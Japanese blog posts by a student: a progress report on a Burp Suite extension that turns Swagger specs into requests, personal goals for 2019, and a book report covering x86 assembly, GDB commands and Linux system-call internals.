
同じサークル(IPfactory)から参加した8ayacのツイート

Burp Suiteの拡張を作りの話 ~Swagger Specを読み込みたい~

書き出し

おとそ気分が抜け切らない状態で2週間近く経過したあざらです。 今回は、近況の報告を兼ねて、ここ数週間作っていたBurp Suiteの拡張について書いていきます。 短めですがお付き合いください

作っているもの

swaggerで定義されたSwagger Specを利用し、必要最低限のHTTPリクエストを生成、そのリクエストをintruderとrepeaterに展開するための拡張機能を作成しています。

最低限欲しかった機能

  • Swagger Specを利用したリクエストの生成
  • 指定パラメータの置き換え
  • リクエストのintruderとrepeaterへの展開
  • Authorization headerの追加(主にbearerを利用したJWTのため)

できれば欲しい機能

  • 任意のheaderの追加機能
  • intruderとrepeaterのオン/オフ機能
  • 再利用可能な拡張のUI設計

進捗

2018/01/12時点で最低限欲しかった機能は完成しており現在UIの磨き上げとできれば欲しい機能の追加を施しています。

外観

Option以外の必要な機能は機能するように作成済み。 f:id:oukasakura3:20190112133332p:plain

ただインプット用のポップアップがまだ未完成で....かなしい限り f:id:oukasakura3:20190112133749p:plain

Listへの値挿入はこのような形で動きます。 f:id:oukasakura3:20190112140129g:plain

Swagger Specの読み込みとその後の動作はこのような形で、しっかりと展開されていることがわかります。

f:id:oukasakura3:20190112140231g:plain

終わりに

今回は製作途中ということもあり少し短めかつ、駆け足での投稿になってしまいましたが、完成次第再度ブログを書こうと思いますのでよろしくお願いします。

書き置き

言語選び

Burp Suiteの拡張の作成に使用できる言語は次の3つ存在しました。

言語 種別 概略
Java Java Burp Suite自体が
Javaで実装されているため利用可能
JRuby Rubyインタプリタ Javaで実装されたRuby
現状 2.5までサポートしている
Jython Pythonインタプリタ Javaで実装されたPython
現状 2.7で開発がストップしている

今回私はある程度書いたことのある "Jython" を選択しました。

環境整備

Jythonの設定

  1. ここからJythonをダウンロード
  2. Burp SuiteのExtender > Optionへ
  3. Python Enviromentにあるselect fileで先ほど取得したJythonを選択
  4. オプションでpipなどでインストールしたモジュールを指定

参考資料

参考にさせていただきましたサイト様の記載(敬称略)

2019年の目標

2019年の目標

書き出し

あけましておめでとうございました。さて今年も残り360日前後になった今日このごろ、皆様いかがお過ごしでしょうか。

私は、年明け早々若干の体調不良に見舞われ、少しナイーブです。これも実家に帰る途中で立ち寄ったコストコにて購入した、アメリカ産のビーフジャーキーが体に合わなかったせいだと信じています。ほかにも寒いのに買ってしまったコストコのソフトクリームが原因であったり、おせちの食べ過ぎやお酒の飲み過ぎ、これらも原因だったりするのかな。

そんなこんなで、年始の3日もゆうに過ぎそろそろ今年のことも真剣に感がなければという時期になりました。

ここで少し今年の目標を書いていけたらなと思いこのブログを書きたいと思います。


目標の話

昨年は割とドタバタしていた一年で、若干の無計画で突っ走る猛犬のようでした。今年は獲物を狙い突き進む猪のようでありたいと書き残し、書き始めていきます。

技術的な目標

私はエンジニアを目指している学生ですので、まずはここから書き始めていこう。昨年は主にPHP/Laravel+Vue.jsのようなWebアプリケーションの作成やDockerなどのコンテナ技術の触り、それらを利用したお遊び程度のサークル内用CTFの基盤作りをしていました。ほかにはMBSD Cybersecurity Challengesのようなコンテストのために、ELKStackの構築やLog解析の行い方などの必要な知識を身につけていました。

ただこれらは、先に述べたとおりいきあたりばったりで学んだものが多く、自分の学びたい内容をしっかりと見定めたものではないと思いました。

また、いきあたりばったりでも楽しさや、知見を得ることができたので少しばかりそれらを活かした目標が立てられたらと考えている。

ここからは目標を書いていきます。

  1. Webアプリケーション作成以外の開発や知識に触れる。
  2. 低いレイヤのセキュリティを学ぶ。
  3. マスタリングTCP/IP入門編を読む。
  4. PHP以外の言語でWebアプリケーション作成を学ぶ。
  5. 自分用の演習環境を作る。

ひとまず、この5つを技術的目標として今年は精進していきます。

技術的な実施項目

各項目で考えていることを箇条書きであげていく。

1. Webアプリケーション作成以外の開発や知識に触れる

  1. Cでの開発やコーディングをしてみたい
    • ふつうのLinuxプログラミングをやる
    • 低レベルプログラミングをやる
  2. コンピュータの気持ちになりたい
    • パタヘネを読む
    • OSを作れたらやってみたい
  3. ツール作りを経験したい

2. 低いレイヤのセキュリティを学ぶ

  1. 本やサイトで知識をつける
    • 楽しいバイナリの歩き方をやる
    • 随時参考サイトを調べながら試す
  2. CTFで問題を解いてみる
    • まずは常設CTFに触れてみる

3. マスタリングTCP/IP入門編を読む

  • ネットワークに弱いので勉強したい

4. PHP以外の言語でWebアプリケーション作成を学ぶ

  1. Go or Ruby on railsでひとつアプリケーションを作る
  2. Dockerなど学んだ知識を元にして、目新しい技術に触れる

5. 自分用の演習環境を作る

  • 絶賛放置のハッキング・ラボを読みながら作る

非技術の目標

非技術の目標では、主に個人的な目標や、今後やってみたいことについて書いていきます。

  1. 1週間の出来事をサマリーとしてブログにする。
  2. 20kg痩せる
  3. アウトプットを積極的に行う
  4. 平和に暮らす。

この目標に関しては特に実施項目などを書かなくてもわかりやすいのでここでは書かないでおきます。

とりあえず20kgは痩せたい。

最後に

今年も皆様にご迷惑をおかけすると思いますが、何とぞ温かい目でお見守りいただけると幸いです。 それでは、よい1年をお過ごしください。

冬の自由課題 ~ ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ ~ の読書感想文

書き出し

年の瀬も近くなり始めた1週間ほど前、本棚にふと目を向けると山になり溜まっていた積み本がそびえ立っていた。流石にこのまま積み本を放置しておくわけにはいかないなと思い手に取りました。

この本を買ったきっかけは、自分自身が 低いレイヤーの話を知らなすぎ、今後エンジニアとして成長する上で足かせになるのではないかと、思い早いうちに手を打っておこうと思い購入しました。

少しでもパソコンが動いている理由がつかめればなと思い、この本を読んだ筆者が思った事をブログに書いていく。

読んでわかった事

出力されたニーモニックコードと関数の呼び出し方(スタック/レジスタ等)

これは自分自身あまり自信がなかった箇所で、CTFの問題でRevやPwnなどがでてきても「わからないから触れない」と自ら避けていた一因でもある。

実際に読んでみて、軽いニーモニックコードならメモを取っていれば読めるようになり、レジスタの意味もほんの少しは理解できたと思うのでよかったと思っている。

読書時にまとめたノート

読書時にまとめたノート

アセンブラを読んでみる

今回はAT&T記法のアセンブラを読んでいく この記法ではmov %esp,%ebpと書かれている場合、mov [転送元],[転送先]と考えると良い。

それでは読んでいく。

下記はhelloworldをobjdumpの結果の一部を抽出したものである。

080482bc <main>:
 80482bc:       55                      push   %ebp
 80482bd:       89 e5                   mov    %esp,%ebp
 80482bf:       83 e4 f0                and    $0xfffffff0,%esp
 80482c2:       83 ec 10                sub    $0x10,%esp
 80482c5:       8b 45 0c                mov    0xc(%ebp),%eax
 80482c8:       8b 10                   mov    (%eax),%edx
 80482ca:       b8 0c 36 0b 08          mov    $0x80b360c,%eax
 80482cf:       89 54 24 08             mov    %edx,0x8(%esp)
 80482d3:       8b 55 08                mov    0x8(%ebp),%edx
 80482d6:       89 54 24 04             mov    %edx,0x4(%esp)
 80482da:       89 04 24                mov    %eax,(%esp)
 80482dd:       e8 7e 10 00 00          call   8049360 <_IO_printf>
 80482e2:       b8 00 00 00 00          mov    $0x0,%eax
 80482e7:       c9                      leave
 80482e8:       c3                      ret
 80482e9:       90                      nop
 80482ea:       90                      nop
 80482eb:       90                      nop
 80482ec:       90                      nop
 80482ed:       90                      nop
 80482ee:       90                      nop
 80482ef:       90                      nop

上記の左端に列挙されている16進数の列はメモリのアドレスであり、アドレスの横には機械語の命令が存在している。

また、右端の言語として読み取れる箇所は、ニーモニックコードやアセンブリ言語と呼ばれている。

レジスタ(GPR)の話

x86でのレジスタで代表的なものは、EAX/EBX/ECX/EDXといったものがある。 レジスタというものは、CPUが持っている記憶領域であり。CPU固定の変数だと考えればよい。

汎用レジスタ(GPR)の構造

31                              0
+-------+-------+-------+-------+
|              EAX              |
+-------+-------+-------+-------+
|      A X      |  A H  |  A L  |
+-------+-------+-------+-------+

EAX/EBX/ECX/EDXは32bitから8bitまでの幅広いアクセス帯を持っている。それではEAXを例にして説明していく。

例 : EAX

32bitアクセス : EAX

16bitアクセス : AX

8bitアクセス上位 : AH

8bitアクセス下位 : AL

他にESP/EBP/ESI/EDIは32bitと16bitのみのアクセスしか利用できない。

汎用レジスタ(GPR)の使用用途

自分の理解のために以後16bitでの説明をする。

汎用レジスタ 名称 使用目的 使用命令
AX アキュムレータレジスタ 算術演算の結果を格納 mov/add/xor/xchg
移動/スワップ/加算をはじめとした算術演算
BX ベースレジスタ アクセスするメモリの基底アドレスを記憶する 変数などにアクセスする際などに利用されるが汎用としても利用
CX カウンタレジスタ シフトローテート命令やループ命令に使用さ loop/rep/jcxz
繰り返しやジャンプの際に利用
DX データレジスタ 算術演算や操作・I/O操作・データの一時退避 mul/div
算術演算などに利用
SP スタックポインタレジスタ スタックのトップアドレスを指す push/pop
BP ベースポインタレジスタ スタックのベースポインタを指す
SI ソースレジスタ 読み込み元アドレス
DI デスティネーションレジスタ 書き込み先アドレス

レジスタの扱い方

先のhelloworldをobjdumpした結果の中に(%eax)のような表現がある。これはレジスタが保持する値がアドレスだった場合、その指すアドレスの値を示している。

またポインタの加算の際には0xc(%ebp)のように行う。この表現の解釈の仕方としてはebp+12の値渡しとなる。

スタックの扱い方

またもであるが、先の結果の中にaddやsub命令が出てきている。3行目のaddの場合は、スタックポインタに0xfffffff0論理積で掛け合わせることで、スタックポインタを16バイトに境界を揃えている。これは、キャッシュ効率を向上させて高速化することを目的にし、スタックの先頭をキャッシュラインに揃えている。

このように、ある値を特定の値の倍数に揃える行為を「アライメント」と呼ぶ。

4行目のsub命令はスタックポインタを0x10(16)バイト分の領域を確保するための命令である。x86でのスタックは下方伸長のため0方向へスタックポインタが減算することで、領域を確保している。

スタックフレーム

関数のためにスタック上に作成される領域を「スタックフレーム」と呼ぶ。

このmain関数の場合、16バイトのスタックフレームを確保している。

push命令は、スタックに値を積む命令であり、スタックポインタを4減算し、スタックを4バイト拡張する。

さらに2行目でそのスタックポインタをベースポインタに書き込んでいる。

ところでなぜ、4バイトなのか?という疑問が僕の中にはあったが、答えとしては、32bitCPUを前提にしているためint型が32bitつまり、4バイトということになることから、int型のアドレスを格納するための4バイトの領域確保を行なった。

関数呼び出しの手順

call命令が関数の呼び出し命令であり、今回の場合だと標準関数の_IO_printfを呼び出し、ジャンプしている。

このcallの前のmovの連続は、関数呼び出しの為に、引数の準備を行なっている。

先のアセンプリの内容を見るとわかるが、5行目でEBP(ペースポインタ)+12の位置にある値をEAXへ代入している。

x86の場合は、スタックを経由し関数へ引数を渡す。また関数を呼び出す際にスタックポインタの指す位置には、関数の戻り先のアドレスを格納する。

呼び出し直後のスタックイメージ

+---------------------+
|   第二引数(argv[0])   | ←SP+8
+---------------------+
|        第一引数       | ←SP+4
+---------------------+
|     戻り先アドレス     | ←SP
+---------------------+
0

呼び出し後にアライメントを行い、下方伸長による領域確保を行い、eaxに第二引数のアドレスを代入します。

eaxにはargv[0]のアドレスが割り当てられていることから、80482c8ではその値をebxに代入していることになる。

80482bf:       83 e4 f0                and    $0xfffffff0,%esp
80482c2:       83 ec 10                sub    $0x10,%esp
80482c5:       8b 45 0c                mov    0xc(%ebp),%eax
80482c8:       8b 10                   mov    (%eax),%edx

下方伸長による領域確保後のスタックイメージ

+---------------------+
|   第二引数(argv[0])   | ←0xc(%ebp)
+---------------------+
|        第一引数       | ←0x8(%ebp)
+---------------------+
|     戻り先アドレス     | ←0x4(%ebp)
+---------------------+
|呼び出し時のペースポインタ| ←(%ebp) SP+12
+---------------------+
|                     | ←SP+8
+---------------------+
|                     | ←SP+4
+---------------------+
|                     | ←SP
+---------------------+
0

ebxにeaxが指すアドレスの値を代入している為、eaxは自由に使えるようになり、0x80b360cを代入します。 その後、確保した領域に値を引数として格納します。

0x80b360cとは第一引数の格納されているアドレスとなる。

80482ca:       b8 0c 36 0b 08          mov    $0x80b360c,%eax
80482cf:       89 54 24 08             mov    %edx,0x8(%esp)
80482d3:       8b 55 08                mov    0x8(%ebp),%edx
80482d6:       89 54 24 04             mov    %edx,0x4(%esp)
80482da:       89 04 24                mov    %eax,(%esp)

call前までのスタックイメージ

+---------------------+
|   第二引数(*argv[])   | ←0xc(%ebp)
+---------------------+
|     第一引数(argc)    | ←0x8(%ebp)
+---------------------+
|     戻り先アドレス     | ←0x4(%ebp)
+---------------------+
|呼び出し時のペースポインタ| ←(%ebp) SP+12
+---------------------+
|     0xc(%ebp)の値    | ←SP+8
+---------------------+
|     0x8(%ebp)の値    | ←SP+4
+---------------------+
|      0x80b360c      | ←SP
+---------------------+
0

GDBのコマンド

アルバイト先でGDBを使えず困ってしまったことがあり、ここは少しでも学べればと思って本を読みながら注力していました。

触り程度にはなりますが、今使う分にはこのくらい覚えておけばいいかなというくらいには学べたと思っています。

読書時にまとめたノート

読書時にまとめたノート

GDBの使い方

起動

gdb ./example

実行

#プログラム実行
(gdb) run
(gdb) r
#引数付き実行
(gdb) run arg1 arg2
(gdb) r arg1 arg2
#デフォルトの引数を設定
(gdb) set args arg1 arg2
#デフォルトの引数を確認
(gdb) show args
#ソース別の行に制御到達するまで実行
(gdb) step
(gdb) s
(gdb) s <回数>
#カレントスタックフレームの次の行まで実行継続
(gdb) next
(gdb) n
(gdb) n <回数>
#マシン語命令を1行ごと実行(関数に入る)
(gdb) stepi
(gdb) si <回数>
(gdb) si
#マシン語命令を1行ごと実行(関数に入らない)
(gdb) nexti
(gdb) ni <回数>
(gdb) ni
#ブレークポイントまで走る
(gdb) continue
(gdb) c

終了

(gdb) quit
(gdb) q

shellコマンド実行

(gdb) shell <コマンド> -CF

ブレークポイント

#関数を設定
(gdb) break main
(gdb) b main
#行数指定
(gdb) b 30
(gdb) b hoge.c:30
#条件付き行数指定
(gdb) b 100 if test == 1
#ブレイクポイント通過回数条件
(gdb) ignore <ブレークポイント番号> <通過回数>
#ポインタ指定
(gdb) b *0xccccccc
#ブレークポイント一覧
(gdb) info breakpoints
(gdb) info break
#ブレークポイント削除
(gdb) delete <行数>
#ブレークポイント全削除
(gdb) delete

アセンブリコード

#記法の設定
(gdb) set disassembly-flavor <記法>
#関数をdisas
(gdb) disassemble main
(gdb) disas main
#現在のフレームを
(gdb) disas

レイアウト

#ソースコード
(gdb) layout src
#アセンブリ
(gdb) layout asm
#レジスタとアセンブリ
(gdb) layout prev

コアダンプを利用した解析

gdb <option> <バイナリファイル> <コアダンプファイル>

関数間移動

#アベンド場所表示
(gdb) where
#上位関数へ
(gdb) up
#下位関数
(gdb) down

表示

(gdb) <表示前>/<表示> <NAME>
形式 説明
x 16進数
d 10進数(デフォルト)
u 符号なし10進数
o 8進数
t 2進数
a アドレス
c 文字
f 浮動小数点数
i 命令

もっと詳しくはこちら

カーネルでの処理

自分自身、このレベルの低さまで来ると全く想像がつかずはじめはどのように動いているのかは想像がつきませんでした。

しかし実際に本を読んでみると、先ほどのアセンブラの知識を元にしながら、膨大なソースコードの絞り込み方や、目的のソースコードまでのたどり着き方などを優しく記載されており、大変わかりやすかった。

その中でも、カーネルへの引数の渡し方や戻り値の返し方などが自分自身の中ではしっくりときました。

読書時にまとめたノート

読書時にまとめたノート

今までのまとめ

printf()で出てきた`int $0x80`は下記の意味を持つ

カーネルを読む

ディレクトリ構造をみる

ディレクトリ名 内容
arch アーキテクチャ依存の処理
fs ファイルシステム関連
kernel カーネルアーキテクチャ共通処理
drivers 各種デバイスドライバ
include 各種ヘッダファイル
mm 仮想メモリ関連
net ネットワーク関連

int $0x80はシステムコール命令が呼んだ処理で、システムコールはCPUに対する例外発行となる。 いわゆるソフトウェア割り込みなので、割り込み処理の入口がある。そして割り込み処理はCPUごとの処理なのでアーキテクチャ依存となるのでarchディレクトリにあるのではないかと考える。

cd arch/x86

目的の処理を探す

カーネルなどのコードリーディングは目的を持って行えば、そこまで重いものではない。これはつまみ食い的な考えで、rubyの開発者である matzも語っている。

その原則を元に今回探すものをまとめる。

  1. syscallであるwriteを探す
    • syscallという文字列があると思われる
    • kernelディレクトリの中にあるので
  2. まずはヘッダーファイルを見つける
  3. 数が多かったら減らす

すると今回は5つのヘッダーファイルが見つかる。

その後は、ファイル名から絞る。

今回は32で調べているのでそれに絞りそれっぽいものを見つける。

割り込みハンドラ

entry_32.Sにはsyscall_callというラベルがあり、これはsys_call_tableへEAX*4した値を加算し関数を呼び出している。

syscall_table_32.Sでシステムコールのテーブルを配列で定義している。

つまるところ、この配列で定義している関数へ アクセスし関数を実行する。

その後、カーネルのコードを読むと、set_system_trap_gateという関数があることがわかる。おそらくこれは割り込みハンドラの登録処理であろう。つまり割り込みハンドラとしてsystem_callが登録されているというわけになる。

これが、int $0x80が実行された時にソフトウェア割り込み処理の入り口となる。

パラメータの渡し方を見てみる

hello実行ファイルを利用してパラメータの渡し方を見ていく。

2章でわかった事として、システムコールのwriteを利用していた。そこでgdbブレークポイントをwriteに設定してから初めていく。

次にシステムコールを呼び出した箇所にもブレイクポイントを貼り、レジスタの状態を見てみる。

するとEAX/EBX/ECX/EDXの4つのレジスタが利用され、そのレジスタに値が保持されていた。

現状の整理をしていこう - 現状実行しようとしているものとして、eipが指し示している__kernel_vsyscallであると推測できる - writeシステムコールは標準出力で、ファイルディスクリプタの値は1 - 表示される文字列は"Hello world! 1 /home/user/hello/hello"の38バイト ここから推測できる事としてEBXとECX,EDXは何かしらの関係はあるのではなかろうかという事である。

さらにESPの値とEDXの値が近いことからEDXの値はスタック上のものであると考えられる。そのことからスタックの中を確認する。

(gdb) x/16xw $esp

先頭スタックには+12のいちまで引数と思われる値が3つ連なっている。 このことから、スタック上にもシステムコールの引数が配置されていると考えられるが、この本で後述されているシステムコールラッパーの呼び出しのためのものであり、write()を呼び出した時にスタック経由で渡された引数である。

つまり、int $0x80そのものによって参照される箇所ではない。

実行を再開してみてレジスタを見てみよう。

EAXの値が変動している。これは2章で述べていた関数の戻り値は、EAXを経由して返されるということを鑑みるに戻り値なのであろう。

システムコール番号

システムコールのパラメータとしては、システムコールに渡されるものとシステムコール番号が存在する。

はじめにシステムコール番号から考えていく。

先のsys_call_tableは配列であるのではないかと先に推測していたが、これを考慮するとEAXに存在した4の数値は配列のインデックスなのではないかとなる。

また、それを裏付けるヘッダが存在しており、/arch/x86/include/asm/unistd_32.hの内部にはシステムコール番号が定義されている。

システムコールの引数

次はシステムコールの引数についてだ、システムコールの引数はどのように渡されているのか。

Linuxカーネルシステムコール処理では、system_callからsystem_callに入り、call命令によって処理関数を呼び出している。

先も述べた通り、x86では引数はスタックで引き渡す。つまりスタック上に値を保存している箇所があれば、そこが引数を渡している場所になる。

そのような視点で探すと、SAVE_ALLというマクロがentry_32.Sにて定義されている。

このマクロは、system_call内部で利用されている。

push命令で、EDX/ECX/EBXの値がスタックに渡されている。これが、スタック上に格納された状態でcall命令にシステムコールの処理関数が呼ばれているため、これがシステムコールに引数を渡す処理となるのであろう。

このことから、x86ではEAXでシステムコール番号を受け渡すことであろう。

Linux/x86では、EAXにシステムコール番号、EBX以降に引数を入れint %0x80を実行することいでシステムコールを実行することができると言える。

これは、Linux/x86でのシステムコール体系だからであり、FreeBSDであればまた異なる。

システムコールラッパー

システムコールを呼び出す作業はすべてアセンブラで記述する必要がある。そのことから、Cから呼び出せる関数という形でライブラリ化して、システム側から提供してもらう。

だからこそ、write()を利用すれば呼び出せるということになる。

そのような役割りのアセンブラで書かれた関数はシステムコールラッパーと呼ばれる。

1章で書いたスタックの図のように、戻り値の下には、積まれた値が存在することから 、これらが呼び出しの際に利用された引数だと考えられる。

このことから、システムコールを実行するラッパーでは引数の受け取りにスタックの値を利用しているのではないかと考える。

そしてそのラッパーを見てみると(__write_nocancel)はじめにスタックの値をレジスタに写している。

その後、アドレスを直接指定し関数を実行している。

ここの箇所が、int %0x80を実行していることがわかった。

戻り値の返し方

システムコールでの返し方

戻り値はEAXを通してシステム上では返すことは決まっている。

その原則から考えるとEAXから返すのは当然であろう。しかし、システムコール(int 0x80)を呼び出す箇所(__write_nocancel)をみるとcmp(比較命令)が存在し、その下には__syscall_errorなる関数が呼び出されている。

これは、エラー発生時の処理である、これが実行されることによりerrnoを設定することができる。

エラーハンドル

errnoを設定する関数であると言ったが、その理由としてカーネルがアプリケーションレイヤーのエラーハンドルを実施するのは、できなくはないがおかしな話である。そこで、標準のCライブラリ(システムコールラッパー)ではエラーハンドリングを行う関数がコンパイル時にリンクされる。

その際にリンクされるのがsyscall error である。

この理由として、カーネル、そしてAPIの移植性を確保するためである。

さらに、この関数がerrnoを設定する。

カーネルの問題点

  1. 引数はレジスタで渡すため、渡せる引数の個数に上限がある
  2. 正しい戻り値が負の値の場合、返すことができない

    引数問題

    これを解決する方法は、二つ存在する。

  3. スタックで設定する

  4. 構造体で設定する

しかし、上はLinuxでは行なっていない。これは制限が6までと制限されていることが挙げられる。

下は実際過去に行われていた。なぜそのようなことが行われていたかというと、カーネルの引数は4つまでであるという制限があった。そのためこれは一つの回避策として構造体を使い回避されていた。

代表例としてselectが挙げられる。

感想

正直、はじめはprintf()なんて表示するだけじゃないか、と思いながら1度目の本の目通を行なっていました。しかしその目通しの段階で、僕の知らない技術や未知の領域が広がっており、この本をやることに期待で胸いっぱいになっていました。

2度目を読む際には実際に手を動かし、ノートを取りながら読み進め多くの知識を得ました。

しかし読むにつれわからない単語や技術が多かったのでもう少し関連書籍を巡回してみようと思った次第です。